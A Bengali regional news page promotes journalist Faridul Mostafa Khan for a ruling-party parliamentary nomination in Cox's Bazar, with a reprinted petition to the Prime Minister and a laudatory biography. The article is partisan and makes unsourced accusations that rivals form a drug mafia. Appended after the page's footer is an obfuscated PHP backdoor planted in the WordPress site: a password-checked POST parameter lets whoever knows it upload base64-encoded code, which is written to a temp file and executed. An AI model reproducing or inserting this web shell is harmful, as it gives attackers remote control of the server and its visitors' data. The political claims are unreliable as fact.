• বুধবার, ১৯ জুন ২০২৪, ১০:১৬ অপরাহ্ন
সর্বশেষ খবর
শুধু এক টুকরো মাংস চায়, তাড়িয়ে দিলেও বার বার হাত বাড়ায় সৈকতে ঘুরতে গিয়ে দুর্বৃত্তের ছুরিকাঘাতে নিহত হোটেল কর্মী ঈদগাঁওতে পুকুরে ডুবে আদিবা-ইলমার মৃত্যু প্রথমবারের মতো প্রধানমন্ত্রীর সফর সঙ্গী হতে যাচ্ছেন নবনিযুক্ত প্রেস সচিব নাইমুল ইসলাম খান   সন্দ্বীপে যুবকের বিরুদ্ধে ভিসা দেয়ার নামে টাকা হাতিয়ে নেয়ার অভিযোগ : ভুক্তভোগীর উপর হামলা পাসপোর্ট ফিরে পেতে প্রধানমন্ত্রী ও ডিজির হস্তক্ষেপ কামনা :৪ বছরেও নাবায়ন হয়নি নির্যাতিত সাংবাদিক ফরিদুলের ডিজিটাল পাসপোর্ট শপথ গ্রহণ করেছেন কক্সবাজারের ৩ উপজেলা পরিষদের নবনির্বাচিত চেয়ারম্যান কক্সবাজারে ৬ নং বিপদ সংকেত  কক্সবাজারে মাংসের বাজারে কসাইদের অরাজকতা, বিক্রি হচ্ছে অন্য প্রাণীর গোস্ত বন্দরে ৩ নম্বর সংকেত,উপকূলে ১০ফুট জলোচ্ছ্বাসের আশংকা

নির্যাতিত সাংবাদিক ফরিদুল মোস্তফাকে এমপি বানাতে চায় সাধারণ মানুষ :বাড়ছে জনপ্রিয়তা

ডা.মুহাম্মাদ মাহতাব হোসাইন মাজেদ
আপডেট : বুধবার, ১৫ নভেম্বর, ২০২৩


ডা.মুহাম্মদ মাহতাব হোসাইন মাজেদ


জাতীয় সাংবাদিক সংস্থা কেন্দ্রীয় কর্যনির্বাহী কমিটির সিনিয়র ভাইস চেয়ারম্যান, বাংলাদেশ মফস্বল সাংবাদিক ফোরাম (বিএমএসএফ)’র কেন্দ্রীয় নেতা কক্সবাজার সাংবাদিক নির্যাতন প্রতিরোধ কমিটির জেলা সভাপতি,মাদক ঘুষ দুর্নীতির বিরুদ্ধে আপোষহীন লড়াকু সৈনিক নির্যাতিত সাংবাদিক ফরিদুল মোস্তফাকে ঠেকিয়ে নৌকার মনোনয়ন বাগিয়ে নিতে জোট বেঁধে টাকা ঢালছে প্রতিপক্ষের মাদক মাফিয়া রাজনৈতিক দুর্বিত্তরা।

তাদের অনেকেই এখন ঢাকার আকাশে বাতাসে উড়াচ্ছে মাদকের টাকা।কেউ কেউ দলের সিনিয়র নেতাদের পায়ে ধরে বসে আছেন।

কয়কজন ইচড়েফাকা এমপি প্রার্থী নিজেদের বাপ দাদার পরিচয় দিয়ে নেতাদের মন গলানোর চেষ্টার পাশাপাশি তাদের স্ত্রী সন্তানদের সাথে গোপন যোগাযোগ বাড়িয়ে দিয়েছেন।

 

অনুসন্ধানে দেখা গেছে, এরা ফরিদুল মোস্তফার জনপ্রিয়তার ভয়ে তঠস্থ হয়ে পড়ছেন।

একারণে তারা স্থানীয় নিজেদের দালাল মাদকাসক্ত কথিত সংবাদকর্মীদের নগদে তুষ্ট করে প্রার্থী তালিকায় যেন তার নাম প্রচার না হয় সেই ব্যাবস্থা চালুর পাশাপাশি স্থানীয় বিভিন্ন সরকারি বেসরকারি সংস্থার সাথে গোপন যোগাযোগ বাড়িয়ে দিয়েছে।

 

অনেকেই তাদের বিনয়ের সাথে অনুরোধ জানাচ্ছেন, নেত্রীর কাছে নৌকার মনোনয়ন দেওয়ার গোপন প্রতিবেদনে কোন ভাবেই যেন নির্যাতিত সাংবাদিক ফরিদুল মোস্তফার নাম না পৌঁছে।

 

তাদের কেউ কেউ বলছেন,ফরিদুল মোস্তফা একজন খ্যতিমান সম্পাদক এবং সাংবাদিক নেতা।

তার আবার এমপি হওয়া বা রাজনিতি করার দরকার কি?

 

সাংবাদিক আছেন,  থাকুক।রাজনীতিতে আসলে ঝামেলা বাড়বে।

 

সত্য এবং নির্ভিক সাংবাদিকতায় আপোষহীন জাতির জনক এবং তার পরিবার তথা শেখ হাসিনা সরকার অর্থাৎ প্রকৃত আওয়ামিলীগ পাগল এই সাংবাদিকের প্রতিপক্ষরা নানান ষড়যন্ত্র করলেও তার নির্বাচনী এলাকা উখিয়া টেকনাফের সাধারণ মানুষ ফরিদুল মোস্তফাকে এমপি বানাতে চায়।

 

শুধু সেখানে নয়,পুরো কক্সবাজার তথা দেশের আনাছে কানাছে বাড়ছে ফরিদুল মোস্তফার জনপ্রিয়তা।

উখিয়া টেকনাফের হাট বজার, চায়ের দোকান,অলি-গলি বাসা বাড়িতে চলছে ফরিদুল মোস্তফার আলোচনা।

চায়ের টেবিল ও গৃহিণীর রান্না ঘরে ঝড় তুলছেন নতুন নেতা বানানোর আগ্রহীরা।

স্থানীয় জেলা উপজেলা আওয়ামিলীগের ও বিভিন্ন অঙ্গ সংগঠনের মাদক মুক্ত প্রকৃত ত্যাগী নেতাকর্মী ও সাধারণ মানুষ মনে করেন,নেত্রীর কাছে সৎ মানুষের মূল্য বেশি।

 

তাই আগামী দ্বাদশ সংসদ নির্বাচনে উখিয়া টেকনাফে ফরিদুল মোস্তফার বিকল্প নেই।

কোন অদৃশ্য কারনে নির্যাতিত সাংবাদিক মজলুম জননেতা ফরিদুল মোস্তফাকে নৌকার মনোনয়ন না দিলে দেশবিদেশে সরকারের মনোনয়ন পদ্ধতি এবং মাননীয় প্রধানমন্ত্রীর মানবতা নিয়ে প্রশ্ন উঠবে।

 

দেশি-বিদেশি পেশাদার সাংবাদিক এবং সাধারণ মানুষ বুঝে নেবে, আওয়ামিলীগে সৎ মানুষের কোন মূল্য নেই সব টাকার খেলা।

 

রাষ্ট্র যন্ত্র আসলে উখিয়া টেকনাফ ও কক্সবাজার মাদকমুক্ত হোক সেটা চায়না।

কয়েকজন বিশিষ্ট ব্যাক্তি এবং পরিচ্ছন্ন প্রবীন আওয়ামীলীগ নেতা বলেছেন,উখিয়া টেকনাফের সাধারণ মানুষ গত ১৫ বছর সাবেক এমপি বদি এবং তার পরিবারের কাছ থেকে কোন কিছুই পায়নি।।

 

মাদক,মাবপাচার, স্বর্ণ চোরাচালান,হুন্ডি ব্যবসায় একক আধিপত্যপত্ব বিরাজ এবং গোপনে চাঁদাবাজি প্রকাশ্যে দান খয়রাতের অভিনয় করে তারা দু উপজেলার ধনীদের আরও ধনী এবং গরীবদের ভিক্ষুক বানিয়ে রেখেছেন।

 

 মিডিয়া কোটায় উখিয়া টেকনাফে নৌকার মনোনয়ন প্রত্যাশী নির্যাতিত সাংবাদিক ফরিদুল মোস্তফা বলেছেন,মনোনয়নের জন্য জাতীয় সাংবাদিক সংস্থার পক্ষ থেকে প্রধানমন্ত্রীর কাছে লিখিত আবেদন জমা দেওয়া আছে।

নেত্রী এবং দলীয় মনোনয়ন বোর্ড ডেকে নিয়ে যদি বিনা পয়সায় নৌকা প্রতীক দেন অবশ্যই নির্বাচন করবো ইনশাআল্লাহ।

 

সাংবাদিকতার দুই  যুগেরও বেশি সময় ধরে মাননীয় প্রধানমন্ত্রী ও সরকারের উন্নয়ন কর্মকান্ড নিয়ে যে সব লেখালেখি এবং প্রচার প্রচারনা করেছি,তার অর্ধেকও স্থানীয় সংসদ সদস্য এবং বর্তমান নৌকার মনোনয়ন পর্ত্যাশীদের কেউ করেন নি।

 

তারা সরকারের প্রচার  প্রচারনার চেয়ে নিজেদের প্রচার প্রচারণা বেশি করে ব্যবসা বানিজ্য এবং মাদক ও মাফিয়া রাজনীতি করে সেখানকার সাধারণ মানুষের রক্ত চুষে খেয়েছেন।

 

১৯৭১ সালের স্বাধীনতা যুদ্ধের সময় আমার জন্ম হলে

আমি হয় শহীদ নয়,বীর মুক্তিযোদ্ধা হতাম।

দেশের স্বাধীনতা সার্বভৌমত্ব রক্ষা এবং জননেত্রী শেখ হাসিনার হাতকে আরও শক্তিশালী করার জন্য সবসময় কলম যুদ্ব চালিয়েছি।

এখনো চালিয়ে যাচ্ছি।

 

ওজান ঠেলে নিজের আজকের এই অবস্থানের কথা বলে নির্যাতিত সাংবাদিক ফরিদুল মোস্তফা আরও বলেন,আশা করি নেত্রী এবং আওয়ামিলীগের মনোনয়ন বোর্ড আমাকে মূল্যায়ন করে মানুষের সেবা করার সুযোগ দিবেন।

 

মানীয় প্রধানমন্ত্রী এবং তার পরিবার নিজেই একটি মজলুম পরিবার হওয়ায় নিশ্চয় তিনি উখিয়া টেকনাফের মানুষের জন্য আমাকে নৌকার মনোনয়ন দিয়ে সাধারণ মানুষের আশা আকাংকার প্রতিফলন ঘটিয়ে মাদক ঘুষ দুর্নীতির বিরুদ্ধে নিজের অবস্থান পরিস্কার করবেন।

 

আমি আশা করি, মনোনয়ন বোর্ডের নীতি নির্ধারকরা টাকার কাছে,বেচা না গিয়ে আমার প্রতি জুলুম করবেন না।

এদিকে, কক্সবাজার ৪ উখিয়া টেকনাফ আসনে নির্যাতিত সাংবাদিক মজলুম জননেতা ফরিদুল মোস্তফা

খানকে মিডিয়া কোটায় নৌকার মনোনয়ন দিতে

গণপ্রজাতন্ত্রী বাংলাদেশ সরকারের প্রধানমন্ত্রী শেখ হাসিনা ও আওয়ামীলীগের মনোনয়ন বোর্ডকে অনুরোধ জানিয়েছেন দেশি বিদেশি বিভিন্ন

পেশাদার সাংবাদিক সংগঠন ও বিশিষ্ট ব্যাক্তিবর্গরা।

 

কারণ স্বাধীনতা স্বপক্ষীয় বাংলাদেশের এই তুখোড় মেধাবী সাংবাদিক নেতার নির্বাচনী এলাকায় রয়েছে তার ব্যাপক জনপ্রিয়তা ও গ্রহণ যোগ্যতা।

 

দল-মত ধর্ম বর্ণ নির্বিশেষে সব শ্রেণী পেশার মানুষের কাছে  অন্যায়ের প্রতিবাদী সাংবাদিক হিসেবে শুধু নয়।

জাতির জনকের অসাম্প্রদায়িক সোনার বাংলা চেতনায় উজ্জীবিত সাংবাদিক সমাজের এই সম্ভাবনাময়ী আইকনের জন্য রয়েছে ব্যাপক জনসমর্থন।

 

সুশীল সমাজ বলেছেন, মিডিয়া রাষ্ট্রের চতুর্থ স্থম্ভ।

স্বাধীনতার পর থেকে এই দেশে আমলা শিল্পি খেলোয়াড় সহ নানা কোটায় দলীয় মনোনয়ন নিয়ে জনপ্রিয়রা জাতীয় সংসদে যেতে পারলে দেশি বিদেশি অগনিত সাধারণ মানুষ ও পেশাদার সাংবাদিক সমাজের তুমুল জনপ্রিয় এই নির্যাতিত সাংবাদিক ফরিদুল মোস্তফা কেন সংসদে যেতে পারবেন না।

 

গণমাধ্যমের হারানো গৌরব ফিরিয়ে আনা এবং পেশাদার সাংবাদিকদের সাথে সরকারের দুরত্ব

নিরসন করে উন্নয়নের মহাকাশে উড্ডয়মান বাংলাদেশের সঠিক চিত্র এবং অপ-সাংবাদিকতা নির্মূলে অবশ্যই ফরিদুল মোস্তফাকে মূল্যায়ন করা দরকার।

সূত্র জানায়, পেশাদার সাংবাদিকদের পক্ষ থেকে সংসদে নিজেদের সদস্য থাকলে বাংলাদেশে গণমাধ্যমের জন্য কোন কালো আইন তৈরী হতে পারবে না।

এতে তারা সংশ্লিষ্টদের সাথে সৌহার্দপূর্ণ আলোচনা করে বিষয়টির সুষ্ঠু সমাধান করতে পারবেন বলে মনে করে  পেশাদার সাংবাদিকদের জেলা উপজেলা ভিত্তিক বিভিন্ন সংগঠনের অগণিত নেতাকর্মী প্রতিবেদককে জানিয়েছেন, ফরিদুল মোস্তফা একজন মজলুম জননেতা।

 

মাদক ঘুষ দুর্নীতির বিরুদ্ধে আপোষহীন নির্যাতিত সাংবাদিক জাতীয় সাংবাদিক সংস্থার কেন্দ্রীয় কমিটির সিনিয়র ভাইস চেয়ারম্যান,বাংলাদেশ মফস্বল সাংবাদিক ফোরাম (বিএমএসএফ) কেন্দ্রীয় কমিটির সহ সাংগঠনিক সম্পাদক ফরিদুল মোস্তফা খান কক্সবাজার সাংবাদিক নির্যাতন প্রতিরোধ কমিটির জেলা সভাপতি এবং কক্সবাজার রেড-ক্রিসেন্ট সোসাইটির আজীবন সদস্য ছাড়াও বিভিন্ন সামাজিক সাংস্কৃতিক সংগঠনের সাথে সম্পৃক্ত এক বঙ্গবন্ধু তথা শেখ হাসিনা পাগল মজলুম জননেতা।

 

শুধু দুর্নীতির প্রশ্নে আপোষহীন তুখোড় মেধাবী সাংবাদিক ফরিদুল উখিয়া টেকনাফে নয়, টেকনাফ থেকে তেতুলিয়া রুপসা থেকে পাথুরিয়া এমনকি বিদেশেও সামান জনপ্রিয় একজন মুসলিম সেলিব্রিটি।

 

জাতীয় সাংবাদিক সংস্থার কেন্দ্রীয় সাংগঠনিক সম্পাদক মো:রেজাউল ইসলাম জানিয়েছেন,

সর্বশেষ উখিয়া টেকনাফের নির্যাতিত সাংবাদিক ফরিদুল মোস্তফা খানকে মিডিয়া কোটায় নৌকার মনোনয়ন দিতে গত ৭/১১/২০২৩ ইংঃ তারিখ স্বারক নাম্বার -জে এস এস ১২/২৩ মূলে পাঠানো আবেদনটি ওই দিনই মাননীয় প্রধানমন্ত্রীর তেজগাঁও কার্যালয়ে সংশ্লিষ্ট দপ্তরে গ্রহণ করা হয়েছে।

 

জাতীয় সাংবাদিক সংস্থার নিজস্ব প্যাডে মাননীয় প্রধানমন্ত্রীর কাছে পাঠানো আবেদনটি সম্মানিত পাঠকদের জন্য হুবুহু দেওয়া হলো-

 

বরাবর

 মাননীয় প্রধানমন্ত্রী

গণপ্রজাতন্ত্রী বাংলাদেশ সরকার প্রধানমন্ত্রীর কার্যালয়, পুরাতন বিমানবন্দর, তেজগাঁও ঢাকা।

তারিখঃ৩১/১০/২৩

বিষয়ঃ-মেজর সিনহা হত্যা মামলায় মৃত্যুদন্ডপ্রাপ্ত ওসি প্রদীপের হাতে নির্যাতিত কক্সবাজারের অন্যায়ের প্রতিবাদী সাহসী সাংবাদিক জাতীর জনকের পাগল আলোচিত  দৈনিক

 কক্সবাজারবাণী মিডিয়া গ্রুপের সম্পাদক ও প্রকাশক মজলুম জননেতা ফরিদুল মোস্তফা খান,সিনিয়র ভাইস চেয়ারম্যান জাতীয় সাংবাদিক সংস্থা কে আসন্ন জাতীয় সংসদ নির্বাচনে  মিডিয়া কোটায় কক্সবাজার ৪ উখিয়া টেকনাফ আসনে  নৌকায় মনোনয়ন প্রদান প্রসঙ্গে।

**********

জনাব,

সম্মান প্রদর্শনপূর্বক বিনীত নিবেদন এই যে, আমি নিম্নস্বাক্ষরকারী সভাপতি,,,,,,,,,,,বিভাগ জাতীয় সাংবাদিক সংস্থা। জাতীয় সাংবাদিক সংস্থা ৪৩ বছরের তৃণমূল সাংবাদিকদের প্রাণের একটি পুরাতন সংগঠন। এ সংগঠন থেকেই উদ্ভাব হয়েছে এ দেশের প্রতিষ্ঠিত অনেক সাংবাদিক নেতা।

 অনেক বাধা-বিপত্তি পার করে বর্তমান রাজাকার মুক্ত স্বাধীনতার পক্ষের ১৮০০০ সাংবাদিকদের এ সংগঠনটি। যার নেতৃত্ব দিচ্ছেন লায়ন মোহাম্মদ নূর ইসলাম।

মিডিয়া প্রজাতন্ত্রের  চতুর্থ স্তম্ভ। এদেশে বহু কোটা পদ্ধতি থাকলেও আজও মিডিয়া কোটা বহাল হয়নি।সংগত কারণেই সরকারের অতুলনীয় সাফল্য সঠিকভাবে বিশ্ব দরবারে তুলে ধরা সম্ভব হয়নি।তথা সাংবাদিকদের ন্যায্য অধিকার থেকে বঞ্চিত করা হয়েছে। ২০০৯ সালের পর থেকে ২০২৩ পর্যন্ত যে মিডিয়া কভারেজ সরকার পাইনি ২৮ শে অক্টোবর পেল কারণটা কি? এর মূল নায়কই জাতীয় সাংবাদিক সংস্থার চেয়ারম্যান লায়ন নুর ইসলাম।

সরকারের সরকারের বোধ উদয়ের জন্য আমাদের এর উদ্যোগ।

টেকসই সরকার গঠনে মিডিয়ার কোন বিকল্প নেই বলে আমরা মনে করি।

এমতাবস্থায় সাংবাদিক সমাজের অহংকার,বিশিষ্ট সাংবাদিক ও সমাজসেবক কক্সবাজারের নির্যাতিত সাংবাদিক নেতা জনাব মোঃ ফরিদুল মোস্তফা খান  কে মিডিয়া কোটায় কক্সবাজার ৪ উখিয়া টেকনাফ  আসনে নৌকা প্রতীকে মনোনয়ন প্রদানে সু-মর্জি হয়।

উল্লেখ্য সত্য ন্যায় এবং বস্তুনিষ্ঠ সাংবাদিকতার পাশাপাশি মাদক ঘুষ দুর্নীতির বিরুদ্ধে আপোষহীন লড়াকো এই কলম সৈনিক শুধু উখিয়া টেকনাফ নয়,টেকনাফ থেকে তেতুলিয়া রুপসা থেকে পাথুরিয় এমনকি দেশের বাইরের লক্ষ কোটি সাধারণ মানুষের অতিপ্রিয় ধার্মিক আধ্যাতিক এক মুসলিম সেলিব্রিটি।

তাহার মরহুম পিতা স্থানীয় টেকনাফ উপজেলার হোয়াইক্যং ইউনিয়নের নয়াবাজার সরকারি প্রাথমিক বিদ্যালয়ের অবসরপ্রাপ্ত সরকারি শিক্ষক,স্বাধীনতা স্বপক্ষীয়  মজলুম জননেতা এবং বিশিষ্ট  মানবিক  সমাজসেবক ছিলেন।

 

ফরিদুল মোস্তফার জীবন বৃত্তান্ত

 

পুরো নাম ফরিদুর মোস্তফা খান।

কক্সবাজার থেকে প্রকাশিত আলোচিত দৈনিক কক্সবাজারবানী পত্রিকার সম্পাদক ও প্রকাশক তিনি।

জনতারবানী নামে তার আরও একটি জাতীয় দৈনিক রয়েছে,যা আনুষ্ঠানিক ভাবে এখনো বাজারে আসেনি।

এছাড়া তিনি জাতীয় শীর্ষ দৈনিক আমাদের নতুন সময়,আমাদের সময় ডটকম,আমাদের অর্থনীতি,ডেইলি আওয়ার টাইম,নতুন ধারা,সাপ্তাহিক কাগজ,সচিত্র সময়,মিডিয়া ওয়াচ,ও বিনোদন পত্রিকা তারকা কাগজের কক্সবাজারস্থ আবাসিক সম্পাদক।

ব্যক্তিগত জীবনে অত্যন্ত সাদাসিধে নরম মনের পরোপকারী এই সাংবাদিক সুমাইয়া মোস্তফা খান,সাহেদুল মোস্তফা খান, সাদিয়া মোস্তাফা খান,সাজেদুল মোস্তফা খান, ও সাঈদুল মোস্তফা খান,নামের (১৪আগস্ট২০২৩ পর্যন্ত)  ৫ সন্তানের জনক।

কক্সবাজারে অন্যায়ের প্রতিবাদ ও সত্য সাংবাদিকতার জন্য দেশবিদেশে খ্যাতিমান

নির্যাতিত সাংবাদিক ফরিদুল মোস্তফা খানের পিতা ছিলেন টেকনাফের অবসরপ্রাপ্ত সরকারি প্রাথমিক বিদ্যালয়ের শিক্ষক,জনপ্রিয় সমাজ সেবক মরহুম ডা:মোহাম্মদ ইসহাক খান।

যার হাতেই সাংবাদিক ফরিদুল মোস্তফা খানের প্রাথমিক শিক্ষাজীবন শুরু।

মাতা বেগম বাহার।

গ্রাম সীমান্ত জনপদ টেকনাফের হোয়াইক্যং ইউনিয়নের  নয়া বাজার পশ্চিম সাতঘড়িয়া পাড়া।

১৯৮২ সালের  ৯ই মে রোজ সোমবার সুবেহ সাদিকের দিকে তার জন্ম।

তবে এসএসসি সনদে  জন্ম তারিখ ১০ফেব্রুয়ারি ১৯৮৪।

২০০০ সালের আগেও টেকনাফের  গ্রামের বাড়িতে শিক্ষক পরিবারে থাকতেন তিনি।

পিতার প্রতিষ্টিত স্থানীয় নয়া বাজার উচ্চবিদ্যালয় থেকে ২০০০ সালে  মানবিক বিভাগে মেধা তালিকায় এসএসসি পাশের পর কক্সবাজার সরকারি কলেজেই তার পড়ালেখার সফল সমাপ্তি।

শৈশবে ছোট গল্প,কবিতা,লেখালেখিতে জনপ্রিয় ফরিদুল মোস্তফা খানের সাংবাদিকতার হাতেখড়ি ২০০১ সালের শুরুর দিকে।

তৎকালীন সময়ের নন্দিত লেখক বরেণ্য সাংবাদিক কক্সবাজার প্রেসক্লাবের সাবেক সভাপতি আতাহার ইকবাল সম্পাদিত দৈনিক বাঁখালীর স্টাফ রিপোর্টার হিসেবে সাংবাদিকতায় অভিসিক্ত সেই ফরিদুল মোস্তফা খান কক্সবাজারের সাংবাদিকতা ও গণমাধ্যম জগতে এক আলোড়ন সৃষ্টিকারী ব্যক্তি।

কেউ স্বীকার করুর আর নাই করুক একথাই সত্যি স্বাধীনতার পর কক্সবাজারের ইতিহাসে প্রান্তিক সাংবাদিকতার বাস্তব অভিজ্ঞতায় যে ক’জন সম্পাদক প্রকাশক বা সাংবাদিক রয়েছেন, ফরিদুল মোস্তফা খান  তৎমধ্যে বয়সে সবার কনিষ্ট।

সময়ের ব্যবধানে হামলা মামলা জেল জুলুম নানা ঘাত প্রতিঘাত চড়ায় উতরাই পেরিয়ে সফলতার ধারপ্রান্তে উপনীত কক্সবাজারের এই তুঁখোড় মেধাবী  সাংবাদিক ফরিদুল মোস্তফা খান  সেই ২০০১ সাল থেকে একে একে দৈনিক বাঁকখালী,পাক্ষিক মেহেদী (বর্তমান দৈনিক মেহেদি) প্রত্রিকা ছাড়া ও বাংলাদেশ বেতার কক্সবাজার কেন্দ্র,দৈনিক রুপসীগ্রাম,দৈনিক সৈকত,দ্যা ডেইলি নিউজ টুডে,দৈনিক খবর পত্র,দেশ বাংলা,সাপ্তাহিক খবরের অন্তরালে,দৈনিক কালবেলা,দৈনিক খবর পত্র,দৈনিক আমাদের কন্ঠ ও আজকের বসুন্ধরা পত্রিকায় অত্যন্ত সুনামের সাথে পেশাগত দায়িত্ব পালন করেছেন।

মাদক নির্মুলের নামে কতিপয় বিপদগামীদের  নিজেদের বেপরোয়া  মাদক সেবন,ব্যাবসা,ও বন্দুকযুদ্বের নামে বিচার বহির্ভুত মানুষ হত্যা জন্য পুলিশের চাকরিচ্যুত মৃত্যু দন্ডপ্রাপ্ত বিতর্কিত ওসি প্রদীপ কুমার দাশের বিরুদ্ধে রাষ্ট্রীয় চরম বৈরী পরিবেশে ‘টাকা না দিলে ক্রসফায়ার দেন টেকনাফের ওসি এবং জেলার আইন শৃঙ্খলার অবনতি শিরোনামে একের পর এক  সংবাদ পরিবেশন করে সারা পৃথিবীতে তোপাড় সৃষ্টিকারি এই সাহসী সাংবাদিক ক্ষিপ্ত

ক্ষমতাধর ওসি প্রদীপ ও তার লালিত মাদক সিন্ডিকেটের নির্মম শারিরীক নির্যাতনের শিকার হয়ে  একসাথে ৬টি মিথ্যা মামলার  টানা ১১ মাস ৫ দিন কক্সবাজার ও চট্টগ্রাম কারাগারে   মানবেতর জেল খেটেছেন। এই সময় বাইরে থাকা তার স্ত্রী সন্তান মা বোন পরিবার পরিজন ছিলেন নিরাপত্তাহীনতা ও চরম অভাব অনটনে।

 কক্সবাজারে  পুলিশী নির্যাতিত ফরিদুল মোস্তফা খানই এক মাত্র সাংবাদিক যিনি নানা কারনে মফস্বলের   সাংবাদিক হওয়া সত্যেও জাতীয় এবং আন্তর্জাতিক পর্যায়ে একজন নির্যাতিত মজলুম সাংবাদিক হিসেবে সমানভাবে পরিচিত এবং সম্মানিত।

সত্য ও নীতির প্রশ্নে আপোষহীন  একমাত্র সৃষ্টিকর্তা ছাড়া কারো কাছে হার না মানা এই সাংবাদিকের লেখালেখি ও বিদ্রোহী সাংবাদিকতার কারনে কক্সবাজারে একজন সত্যিকার বন্ধু নেই বললেই চলে।

অবিশ্বাস্য হলেও সত্যি  জীবনে প্রেস ক্লাবের সভাপতির বিরুদ্ধে সংবাদ পরিবেশনের কারনে তিনি কক্সবাজার প্রেসক্লাবে এবং স্থানীয় সাংবাদিক সমাজে অবাঞ্ছিত এক ব্যাক্তি।

খেয়ে না খেয়ে  সাংবাদিকতা পেশায় ঠিকে থাকতে তিনি  সংক্ষুব্দ ব্যাক্তিদের কাছ থেকে জীবনে অনেক হামলা মামলা  জেল জুলুমের  স্বীকার হয়েছেন।

জানা গেছে, কক্সবাজারের সাংবাদিকতায় অপ্রতিরোধ্য তারুণ্য  ফরিদুল মোস্তফা খান  সাংবাদিকতার অবসরে আধ্যাতিকতা,সমাজসেবা ও লেখালেখিতে বিরামহীন এক কলম সৈনিক।

তার লেখা বেশ কিছু গান বৃহত্তর চট্টগ্রামের জনপ্রিয় সুরকার আজম চৌধুরী মিউজিক কম্পোজিশন করেছেন।

যা অডিও ভিডিও এ্যালবাম আকারে বাজারে আসার প্রস্তুতির পাশাপাশি ফরিদুল মোস্তফা খান লিখিত বিশ্বনেতা বঙ্গবন্ধু,মেজর জিয়ার কথা বলছি,জোস্নার আধার, নরকজীবন,আধিবাসীদের জীবন ও সংস্কৃতি নামের কয়েকটি  গ্রন্থ এবং  প্রেম বিরহ বিচ্ছেদ পরকীয়া আসক্তি বিষয়ক কয়েকটি ঔপন্যাস প্রকাশের অপেক্ষায় রয়েছে ছাপাখানায়।

সাংবাদিক ফরিদুল মোস্তফা খান মিয়ানমারের রাজধানীর ইয়াংগুন,কলিকাতা,মালয়েশিয়া সহ দেশবিদেশের বিভিন্ন দর্শনীয় এবং ঐতিহাসিক স্থান সফর করেছেন।

তিনি দ্বাদশ জাতীয় সংসদ নির্বাচনে  কক্সবাজার ৪ উখিয়া টেকনাফ আসনে পেশাদার সাংবাদিক ও সচেতন নাগরিক সমাজ মনোনীত সংসদ সদস্য পদে নির্বাচন করছেন বলে জনস্রোতি রয়েছে।

জানাগেছে সাংবাদিক ফরিদুল মোস্তফা খান বাংলাদেশ প্রেসইন্সিটিউট পিআইবি সহ সরকারি বেসরকারি বিভিন্ন প্রতিষ্ঠান থেকে সাংবাদিক প্রশিক্ষণ এবং একই পেশায় বিভিন্ন ক্যাটাগরীতে সরকারি বেসরকারি সম্মানিত পদক পেয়েছেন অনেক।

উলেখ্য কক্সবাজারের মাফিয়া রাজনীতি মাদক ঘুষ দুর্নীতির বিরুদ্ধে তিনি এক মুর্তমান আতংকের নাম।

 

অপরদিকে, টেকনাফ কক্সবাজার সরজমিন পরিদর্শন ও সাধারণ মানুষের সাথে আলাপে জানা গেছে, ফরিদুল মোস্তফা খান শুধু উখিয়া টেকনাফ নয় বাংলাদেশের যেই আসনে নির্বাচন করবেন সেখানকার সাধারণ মানুষ দলমত ধর্ম বর্ণ নির্বিশেষে তাকে ভোট দিবে এবং তিনি এমপি নির্বাচিত হবেন।

 

তারমত সৎ মানুষের এমপি হওয়া দরকার।এতে করে সাধারণ মানুষ শতভাগ নিরাপত্তা পাবেন।


আরো বিভন্ন নিউজ দেখুন

ই-পেপার

আজকের দিন-তারিখ

  • বুধবার (রাত ১০:১৬)
  • ১৯শে জুন, ২০২৪ খ্রিস্টাব্দ
  • ১৩ই জিলহজ, ১৪৪৫ হিজরি
  • ৫ই আষাঢ়, ১৪৩১ বঙ্গাব্দ (বর্ষাকাল)
if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}